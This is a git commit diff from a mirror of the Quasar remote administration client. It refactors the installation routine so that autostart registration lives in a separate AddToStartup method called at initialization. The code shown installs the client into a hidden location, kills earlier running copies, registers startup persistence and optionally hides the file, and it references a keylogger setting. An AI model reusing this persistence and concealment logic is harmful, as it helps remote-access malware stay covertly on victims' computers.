mirror of https://github.com/quasar/Quasar.git
Minor Uninstall fix
- Add to Autostart again when already installed #205
This commit is contained in:
parent
381dad6a24
commit
36ac738e43
|
@ -61,7 +61,7 @@ private struct LASTINPUTINFO
|
||||||
"ws.png", "ye.png", "yt.png", "za.png", "zm.png", "zw.png"
|
"ws.png", "ye.png", "yt.png", "za.png", "zm.png", "zw.png"
|
||||||
};
|
};
|
||||||
|
|
||||||
public static bool Disconnect = false;
|
public static bool Disconnect = false; // when Disconnect is true, stop all running threads
|
||||||
public static string OperatingSystem = string.Empty;
|
public static string OperatingSystem = string.Empty;
|
||||||
public static string MyPath = string.Empty;
|
public static string MyPath = string.Empty;
|
||||||
public static string InstallPath = string.Empty;
|
public static string InstallPath = string.Empty;
|
||||||
|
@ -404,45 +404,8 @@ private static bool IsUserIdle()
|
||||||
return (idleTime > 600); // idle for 10 minutes
|
return (idleTime > 600); // idle for 10 minutes
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void Install()
|
public static void AddToStartup()
|
||||||
{
|
{
|
||||||
bool isKilled = false;
|
|
||||||
|
|
||||||
// create target dir
|
|
||||||
if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
|
|
||||||
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
|
|
||||||
|
|
||||||
// delete existing file
|
|
||||||
if (File.Exists(InstallPath))
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
File.Delete(InstallPath);
|
|
||||||
}
|
|
||||||
catch (Exception ex)
|
|
||||||
{
|
|
||||||
if (ex is IOException || ex is UnauthorizedAccessException)
|
|
||||||
{
|
|
||||||
// kill old process if new mutex
|
|
||||||
Process[] foundProcesses =
|
|
||||||
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(InstallPath));
|
|
||||||
int myPid = Process.GetCurrentProcess().Id;
|
|
||||||
foreach (var prc in foundProcesses)
|
|
||||||
{
|
|
||||||
if (prc.Id == myPid) continue;
|
|
||||||
prc.Kill();
|
|
||||||
isKilled = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isKilled) Thread.Sleep(5000);
|
|
||||||
|
|
||||||
//copy client to target dir
|
|
||||||
File.Copy(MyPath, InstallPath, true);
|
|
||||||
|
|
||||||
//add to startup
|
|
||||||
if (Settings.STARTUP)
|
if (Settings.STARTUP)
|
||||||
{
|
{
|
||||||
if (AccountType == "Admin")
|
if (AccountType == "Admin")
|
||||||
|
@ -497,6 +460,48 @@ public static void Install()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void Install(bool addToStartup = true)
|
||||||
|
{
|
||||||
|
bool isKilled = false;
|
||||||
|
|
||||||
|
// create target dir
|
||||||
|
if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
|
||||||
|
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
|
||||||
|
|
||||||
|
// delete existing file
|
||||||
|
if (File.Exists(InstallPath))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File.Delete(InstallPath);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
if (ex is IOException || ex is UnauthorizedAccessException)
|
||||||
|
{
|
||||||
|
// kill old process if new mutex
|
||||||
|
Process[] foundProcesses =
|
||||||
|
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(InstallPath));
|
||||||
|
int myPid = Process.GetCurrentProcess().Id;
|
||||||
|
foreach (var prc in foundProcesses)
|
||||||
|
{
|
||||||
|
if (prc.Id == myPid) continue;
|
||||||
|
prc.Kill();
|
||||||
|
isKilled = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isKilled) Thread.Sleep(5000);
|
||||||
|
|
||||||
|
//copy client to target dir
|
||||||
|
File.Copy(MyPath, InstallPath, true);
|
||||||
|
|
||||||
|
if (addToStartup)
|
||||||
|
AddToStartup();
|
||||||
|
|
||||||
if (Settings.HIDEFILE)
|
if (Settings.HIDEFILE)
|
||||||
{
|
{
|
||||||
|
|
|
@ -133,6 +133,11 @@ private static void Initialize()
|
||||||
|
|
||||||
new Thread(SystemCore.UserIdleThread).Start();
|
new Thread(SystemCore.UserIdleThread).Start();
|
||||||
|
|
||||||
|
if (Settings.STARTUP)
|
||||||
|
{
|
||||||
|
SystemCore.AddToStartup();
|
||||||
|
}
|
||||||
|
|
||||||
InitializeClient();
|
InitializeClient();
|
||||||
|
|
||||||
if (Settings.ENABLELOGGER)
|
if (Settings.ENABLELOGGER)
|
||||||
|
|
Loading…
Reference in New Issue